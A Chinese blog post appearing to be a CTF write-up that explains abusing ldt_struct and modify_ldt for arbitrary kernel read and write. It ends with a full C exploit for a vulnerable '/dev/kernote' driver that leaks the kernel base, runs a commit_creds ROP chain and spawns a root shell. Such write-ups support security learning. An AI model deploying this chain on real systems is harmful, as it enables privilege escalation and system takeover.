ldt
是區域性段描述符表
,裡面存放的是程序的段描述符,段暫存器裡存放的段選擇子便是段描述符表中段描述符的索引。和ldt
有關的結構體是ldt_struct
。
struct ldt_struct {
/*
* Xen requires page-aligned LDTs with special permissions. This is
* needed to prevent us from installing evil descriptors such as
* call gates. On native, we could merge the ldt_struct and LDT
* allocations, but it's not worth trying to optimize.
*/
struct desc_struct *entries;
unsigned int nr_entries;
/*
* If PTI is in use, then the entries array is not mapped while we're
* in user mode. The whole array will be aliased at the addressed
* given by ldt_slot_va(slot). We use two slots so that we can allocate
* and map, and enable a new LDT without invalidating the mapping
* of an older, still-in-use LDT.
*
* slot will be -1 if this LDT doesn't have an alias mapping.
*/
int slot;
};
這個結構體的大小僅有0x10
,前8
位元組存放的還是一個指標,如果能夠控制它,那麼便可以進行接下來的任意地址讀寫。前8
位元組的entries
指標指向desc_struct
結構體,即段描述符,定義如下:
/* 8 byte segment descriptor */
struct desc_struct {
u16 limit0;
u16 base0;
u16 base1: 8, type: 4, s: 1, dpl: 2, p: 1;
u16 limit1: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8;
} __attribute__((packed));
modify_ldt
這個系統呼叫,是提供給我們用來獲取或修改當前程序的LDT
用的。我們看呼叫modify_ldt
的幾個用法,原始碼如下:
SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr ,
unsigned long , bytecount)
{
int ret = -ENOSYS;
switch (func) {
case 0:
ret = read_ldt(ptr, bytecount);
break;
case 1:
ret = write_ldt(ptr, bytecount, 1);
break;
case 2:
ret = read_default_ldt(ptr, bytecount);
break;
case 0x11:
ret = write_ldt(ptr, bytecount, 0);
break;
}
/*
* The SYSCALL_DEFINE() macros give us an 'unsigned long'
* return type, but tht ABI for sys_modify_ldt() expects
* 'int'. This cast gives us an int-sized value in %rax
* for the return code. The 'unsigned' is necessary so
* the compiler does not try to sign-extend the negative
* return codes into the high half of the register when
* taking the value from int->long.
*/
return (unsigned int)ret;
}
我們除了系統呼叫號外傳入的三個引數是func,ptr,bytecount
,其中ptr
指標指向的是user_desc
結構體。這個結構體如下:
struct user_desc {
unsigned int entry_number;
unsigned int base_addr;
unsigned int limit;
unsigned int seg_32bit:1;
unsigned int contents:2;
unsigned int read_exec_only:1;
unsigned int limit_in_pages:1;
unsigned int seg_not_present:1;
unsigned int useable:1;
};
利用的函數是ldt_read
,其關鍵原始碼如下:
static int read_ldt(void __user *ptr, unsigned long bytecount)
{
//...
if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) {
retval = -EFAULT;
goto out_unlock;
}
//...
out_unlock:
up_read(&mm->context.ldt_usr_sem);
return retval;
}
這個函數直接呼叫copy_to_user(ptr, mm->context.ldt->entries, entries_size),向用戶空間讀取資料,如果我們可以控制entries
,那麼我們就可以實現任意地址讀。
如何控制entries
?我們看write_ldt
的原始碼可以看到呼叫alloc_ldt_struct
為新的ldt_struct
開闢了空間。
static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
//...
old_ldt = mm->context.ldt;
old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries);
error = -ENOMEM;
new_ldt = alloc_ldt_struct(new_nr_entries);
if (!new_ldt)
goto out_unlock;
//...
return error;
}
再看alloc_ldt_struct
的原始碼,呼叫了kamlloc
去分配新空間。
static struct ldt_struct *alloc_ldt_struct(unsigned int num_entries)
{
struct ldt_struct *new_ldt;
unsigned int alloc_size;
if (num_entries > LDT_ENTRIES)
return NULL;
new_ldt = kmalloc(sizeof(struct ldt_struct), GFP_KERNEL);
//...
我們就可以想到通過UAF
去控制ldt_struct
,修改entries
即可讀取想要的資料。
利用的函數是write_ldt
,其關鍵原始碼如下:
static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
//...
old_ldt = mm->context.ldt;
old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries);
error = -ENOMEM;
new_ldt = alloc_ldt_struct(new_nr_entries);
if (!new_ldt)
goto out_unlock;
if (old_ldt)
memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE);
new_ldt->entries[ldt_info.entry_number] = ldt;
//...
}
我們可以看到拷貝是memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE)
,我們再看一下LDT_ENTRY_SIZE
的定義
/* Maximum number of LDT entries supported. */
#define LDT_ENTRIES 8192
/* The size of each LDT entry. */
#define LDT_ENTRY_SIZE 8
可以看出拷貝的量非常大。並且在拷貝結束之後有new_ldt->entries[ldt_info.entry_number] = ldt;
這樣一行程式碼。那我們就可以通過條件競爭的方式去改變new_ldt->entries
,從而實現任意地址寫。
exp
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <stdio.h>
#include <signal.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <ctype.h>
int fd;
size_t kernel_offset;
size_t kernel_base;
int seq_fd;
int ret;
size_t page_offset_base = 0xffff888000000000;
size_t init_cred;
size_t prepare_kernel_cred;
size_t commit_creds;
size_t pop_rdi_ret;
size_t swapgs_restore_regs_and_return_to_usermode;
void ErrExit(char* err_msg)
{
puts(err_msg);
exit(-1);
}
void set(int index)
{
ioctl(fd, 0x6666, index);
}
void add(int index)
{
ioctl(fd, 0x6667, index);
}
void delete(int index)
{
ioctl(fd, 0x6668, index);
}
void edit(size_t data)
{
ioctl(fd, 0x6669, data);
}
int main()
{
struct user_desc desc;
int pipe_fd[2] = {0};
size_t temp;
size_t *buf;
size_t search_addr;
printf("\033[34m\033[1m[*] Start exploit\033[0m\n");
fd = open("/dev/kernote", O_RDWR);
if(fd<0)
ErrExit("[-] open kernote error");
/*
struct user_desc {
unsigned int entry_number;
unsigned int base_addr;
unsigned int limit;
unsigned int seg_32bit:1;
unsigned int contents:2;
unsigned int read_exec_only:1;
unsigned int limit_in_pages:1;
unsigned int seg_not_present:1;
unsigned int useable:1;
};
*/
desc.entry_number = 0x8000 / 8;
desc.base_addr = 0xff0000;
desc.limit = 0;
desc.seg_32bit = 0;
desc.contents = 0;
desc.read_exec_only = 0;
desc.limit_in_pages = 0;
desc.seg_not_present = 0;
desc.useable = 0;
desc.lm = 0;
add(0);
set(0);
delete(0);
syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));
while(1)
{
edit(page_offset_base);
ret = syscall(SYS_modify_ldt, 0, &temp, 8);
if(ret >= 0)
break;
page_offset_base+= 0x4000000;
}
printf("\033[32m\033[1m[+] Find page_offset_base=> \033[0m0x%lx\n", page_offset_base);
pipe(pipe_fd);
buf = (size_t*) mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
search_addr = page_offset_base;
while(1)
{
edit(search_addr);
ret = fork();
if(!ret)
{
syscall(SYS_modify_ldt, 0, buf, 0x8000);
for(int i=0; i<0x1000; i++)
if(buf[i]>0xffffffff81000000 && (buf[i] & 0xfff) == 0x40)
{
kernel_base = buf[i] - 0x40;
kernel_offset = kernel_base - 0xffffffff81000000;
}
write(pipe_fd[1], &kernel_base, 8);
exit(0);
}
wait(NULL);
read(pipe_fd[0], &kernel_base, 8);
if(kernel_base)
break;
search_addr+= 0x8000;
}
kernel_offset = kernel_base - 0xffffffff81000000;
printf("\033[32m\033[1m[+] Find kernel base=> \033[0m0x%lx\n", kernel_base);
printf("\033[32m\033[1m[+] Kernel offset=> \033[0m0x%lx\n", kernel_offset);
add(1);
set(1);
delete(1);
seq_fd = open("/proc/self/stat", O_RDONLY);
if(seq_fd<0)
ErrExit("[-] open seq error");
edit(0xffffffff817c21a6 + kernel_offset);
init_cred = 0xffffffff8266b780 + kernel_offset;
prepare_kernel_cred = 0xffffffff810ca2b0 + kernel_offset;
commit_creds = 0xffffffff810c9dd0 + kernel_offset;
pop_rdi_ret = 0xffffffff81075c4c + kernel_offset;
swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0 + 10 + kernel_offset;
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, pop_rdi_ret;" // start at there
"mov r12, init_cred;"
"mov rbp, commit_creds;"
"mov rbx, swapgs_restore_regs_and_return_to_usermode;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, 0x88888888;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);
system("/bin/sh");
return 0;
}
本文來自部落格園,作者:{狒猩橙},轉載請註明原文連結:https://www.cnblogs.com/pwnfeifei/p/16692658.html